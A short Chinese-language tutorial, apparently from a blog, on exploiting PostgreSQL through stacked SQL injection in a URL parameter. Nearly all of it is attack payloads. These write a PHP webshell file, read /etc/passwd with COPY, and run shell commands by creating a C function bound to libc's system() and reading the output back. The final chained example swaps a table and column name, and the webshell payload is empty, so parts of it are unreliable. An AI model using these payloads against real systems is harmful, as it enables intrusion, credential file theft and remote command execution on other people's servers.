如何获得webshell
http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$$$);
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
如何读文件
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
当然,这些的postgresql的数据库版本必须大于8.X。
创建一个system的函数:
CREATE FUNCTION system(cstring) RETURNS int AS ’/lib/libc.so.6’, ’system’ LANGUAGE ’C’ STRICT
创建一个输出表:
CREATE TABLE stdout(id serial, system_out text)
执行shell,输出到输出表内:
SELECT system(’uname -a > /tmp/test’)
copy 输出的内容到表里面;
COPY stdout(system_out) FROM ’/tmp/test’
从输出表内读取执行后的回显,判断是否执行成功
SELECT system_out FROM stdout
下面是测试例子
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS
’/lib/libc.so.6’,’system’ LANGUAGE ’C’STRICT --/store.php?id=1; SELECT system(’uname -a > /tmp/test’) --/store.php?id=1; COPY stdout(system_out) FROM ’/tmp/test’ --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out
ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
评论 {{userinfo.comments}}
{{child.content}}
{{question.question}}
提交